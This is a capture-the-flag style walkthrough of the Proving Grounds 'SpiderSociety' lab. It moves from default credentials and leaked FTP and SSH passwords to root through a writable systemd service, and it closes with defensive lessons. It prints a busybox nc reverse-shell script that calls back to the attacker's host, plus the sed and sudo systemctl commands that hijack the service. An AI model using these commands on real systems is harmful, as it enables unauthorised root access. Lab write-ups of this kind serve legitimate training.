the_open_door
coffee
ESEN

SpiderSociety

Proving Grounds PracticeMediumLinux192.168.191.214

The IP may vary: the lab had to be restarted at some point, so screenshots and commands might show a different address. Replace it with the one from your own instance.

#default-credentials#ftp#php-source#hidden-endpoint#systemd#sudo
TL;DR. Admin panel with default admin/admin that leaks FTP credentials in a modal ("New Message from Tech Dept"); FTP on 2121/TCP holds a copy of the web root with fetch_credentials.php pointing at a long "hidden" endpoint that exposes the spidey SSH credentials; escalation via badly scoped systemd service (spiderbackup.service with an ExecStart writable by its owner plus daemon-reload/restart in sudoers).

Recon

Initial scan

A full port scan opens three ports, including an FTP on a non-standard port:

ping -c 1 192.168.191.214       # ttl=61 → Linux
sudo nmap -sS -Pn -p- --min-rate 5000 --open 192.168.191.214
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
2121/tcp open  ftp
nmap -p22,80,2121 -sCV 192.168.191.214
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.9
80/tcp   open  http    Apache httpd 2.4.58 (title: Spider Society)
2121/tcp open  ftp     vsftpd 3.0.5

The 2121 FTP with vsftpd 3.0.5 is the first tell: it is not a standard port and typically means a second instance for a specific role (a backup, an internal endpoint).

HTTP - subdomain and paths

The homepage carries an email with a domain: spidersociety.offsec.lab. Add it to /etc/hosts and enumerate routes:

dirsearch -u http://spidersociety.offsec.lab --exclude-status=404,403,503 -t 200 \
  -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt

Two useful paths: /images/ and /libspider/. The latter hosts the admin panel.

Shell as spidey

Default credentials → FTP in a modal

/libspider/index.php accepts admin/admin without pushback.

Spider Society panel with admin/admin

Right after login a "New Message from Tech Dept" modal pops up with cleartext FTP credentials for a backup user. Classic embedded credentials in full view.

Modal with FTP credentials

Username: ss_ftpbckuser
Password: ss_WeLoveSpiderSociety_From_Tech_Dept5937!

FTP 2121 - recursive download

wget -r ftp:// fetches the whole FTP: a backup of libspider/ with PHP source including fetch_credentials.php.

wget -r ftp://'ss_ftpbckuser':'ss_WeLoveSpiderSociety_From_Tech_Dept5937!'@'spidersociety.offsec.lab':2121/

FTP contents

404.html  images  index.html  libspider  simple.py

libspider:
control-panel.php  fetch-credentials.php  index.php  login.php  logout.php  users.php

fetch_credentials.php → hidden endpoint with SSH

fetch_credentials.php does not carry secrets itself, but reveals a "hidden" URL (a long random-looking basename, security through obscurity) where the server keeps .env-style variables with the SSH credentials.

fetch_credentials.php content

curl http://spidersociety.offsec.lab/libspider/.fuhfjkzbdsfuybefzmdbbzdcbhjzdbcukbdvbsdvuibdvnbdvenv
# DB_CONNECT_USER=spidey
# DB_CONNECT_PASS=WithGreatPowerComesGreatSecurity99!

A hidden endpoint protects nothing: dirsearch with the right wordlist finds it, or (as here) the source itself reveals the path.

sshpass -p 'WithGreatPowerComesGreatSecurity99!' ssh spidey@192.168.191.214

SSH as spidey

spidey@spidersociety:~$ cat local.txt
6731e8d5ae04cc7cfcca081e5d3ed86f

local.txt as spidey

Privilege Escalation

spiderbackup.service - spidey-owned ExecStart + sudo restart

sudo -l paints the misconfigured writable systemd service pattern in full:

(ALL) NOPASSWD: /bin/systemctl restart spiderbackup.service
(ALL) NOPASSWD: /bin/systemctl daemon-reload
(ALL) !/bin/bash, !/bin/sh, !/bin/su, !/usr/bin/sudo

The unit file /etc/systemd/system/spiderbackup.service is owned by spidey (rw), runs as root, and its ExecStart=/usr/local/bin/spiderbackup.sh is the line to tamper with. Since the user has restart and daemon-reload in sudo without a password, they can edit the unit file, reload and start the service: the new ExecStart runs as root.

sudo -l and editable unit file

Before triggering the shell, we set up an nc listener:

nc -nlvp 5555
# drop the new script (anything you want, here a revshell)
cat > /tmp/privesc.sh <<'EOF'
#!/bin/bash
busybox nc 192.168.45.201 5555 -e bash
EOF
chmod +x /tmp/privesc.sh

# point the unit file at the new script
sed -i 's|ExecStart=/usr/local/bin/spiderbackup.sh|ExecStart=/tmp/privesc.sh|' \
       /etc/systemd/system/spiderbackup.service

sudo /bin/systemctl daemon-reload
sudo /bin/systemctl restart spiderbackup.service

Aside: the sudoers !/bin/bash items are cosmetic here; the ExecStart runs as root without ever going through sudo, so the deny list is bypassed by design.

Root shell after service restart

-rwsr-xr-x 1 root root 1446024 Mar 31  2024 /bin/bash
bash-5.2# whoami
root

Proof.txt

bash-5.2# cat /root/proof.txt
0dafd69cc0d0033a2df72d2201d924a1

proof.txt as root

Automating the whole chain

The entire sequence (default login on /libspider/, the FTP credentials in the modal, the recursive download, fetch_credentials.php, SSH and the sudo service restart) fits in a script. Nothing here hangs on a human decision, so it goes straight to a root shell:

python3 spidersociety_autopwn.py <victim-ip> <attacker-ip> <port>

spidersociety_autopwn.py brings up the listener, catches the shell and runs whoami, cat of proof.txt, ip a and hostname, returning root on spidersociety

[*] Waiting for reverse shell ...
listening on [any] 1111 ...
connect to [192.168.45.155] from (UNKNOWN) [192.168.134.214] 48584
whoami
root
cat /root/proof.txt && whoami && ip a && hostname
c8b0352dcdada63661b74c45c3d06a44
root
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    inet 127.0.0.1/8 scope host lo
3: ens192: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
    link/ether 00:50:56:9e:c3:fc brd ff:ff:ff:ff:ff:ff
    inet 192.168.134.214/24 brd 192.168.134.255 scope global ens192
spidersociety

The proof.txt does not match the manual run's because the box had been redeployed in between: on Proving Grounds the flags are regenerated on every deployment.

Attack chain

Home + /etc/hosts
  └─ /libspider/  admin/admin (default)
     └─ FTP modal -> ss_ftpbckuser / ss_WeLoveSpiderSociety_From_Tech_Dept5937!
        └─ FTP :2121 -> wget -r -> fetch_credentials.php
           └─ .fuhfjkz...env  -> spidey / WithGreatPowerComesGreatSecurity99!
              └─ SSH -> local.txt
                 └─ sudo -l -> daemon-reload + restart spiderbackup.service
                    └─ ExecStart owned by spidey -> /tmp/privesc.sh -> root

Lessons learned

  • Default credentials remain vector zero. Any deployment on a *.lab domain that keeps admin/admin is on the operator.
  • A modal, a tooltip or a console.log with credentials is the same leak surface: audit them like the rest.
  • Security through obscurity (long random endpoints) does not survive a source review: whoever reads the code reads the path.
  • A systemd unit file with an owner-writable ExecStart plus a sudo rule for restart on that same service is a direct escalation. The unit file's owner is the effective new root.
  • sudo -l with !/bin/bash, !/bin/sh, ... is a cosmetic mitigation if the allowed binary can alter privileged behavior without spawning a shell; rewriting ExecStart bypasses that list entirely.
Command cheatsheet 9 commands

Quick review